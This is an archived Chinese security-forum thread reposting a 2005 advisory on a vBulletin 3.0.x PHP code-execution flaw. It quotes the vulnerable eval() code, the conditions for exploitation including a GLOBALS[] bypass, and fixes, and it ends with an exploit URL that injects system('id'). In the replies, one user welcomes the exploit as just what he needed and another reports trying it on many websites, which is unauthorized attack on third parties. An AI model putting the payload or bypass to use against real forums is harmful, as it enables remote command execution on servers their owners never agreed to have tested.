邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-2-16 08:40

[转载]vbulletin 3.0.x PHP代码执行漏洞

信息来源:[url]www.securityfocus.com[/url]

Vulnerable Systems:
----------------
vBulletin version 3.0 up to and including version 3.0.4

Immune systems:
----------------
vBulletin version 3.0.5
vBulletin version 3.0.6

Vulnerable code in forumdisplay.php :
#############################################################
if ($vboptions['showforumusers'])
{
.
.
.
.

if ($bbuserinfo['userid'])
{
.
.
.
.
$comma = ', ';
}
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
.
.
.
eval('$activeusers .= "' . $comma . fetch_template('forumdisplay_loggedinuser')
. &#39;";&#39;); <<==== (Vuln)
$comma = &#39;, &#39;;
.
.
}
.
.
}

#############################################################

Conditions:
----------------
1st condition : $vboptions[&#39;showforumusers&#39;] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo[&#39;userid&#39;] == 0 , you must be an visitor/guest
.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))


Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions[&#39;showforumusers&#39;])
$comma = &#39;&#39;;

Exploit:
----------------
example :
[url]http://site/forumdisplay.php?GLOBALS[/url][]=1&f=2&comma=".system(&#39;id&#39;)."

我非我 2005-2-18 11:52

I&#39;d love it!
哈哈.正好需要!

sniper 2005-2-18 16:05

有人成功了吗,发个动画看看~~
4th condition : magic_quotes_gpc must be OFF
又是这玩意....实用性大打折扣

十二少 2005-2-18 17:39

确实如此
   
  今天中午特意找了N个网站测试-------均没有成功
    呵呵

冰血封情 2005-2-18 19:39

[quote][b]下面是引用sniper于2005-02-18 16:05发表的:[/b]
有人成功了吗,发个动画看看~~
4th condition : magic_quotes_gpc must be OFF
又是这玩意....实用性大打折扣[/quote]
VBB还要 magic_quotes_gpc OFF
是有点苛刻了...

页: [1]
© 1999-2008 EvilOctal Security Team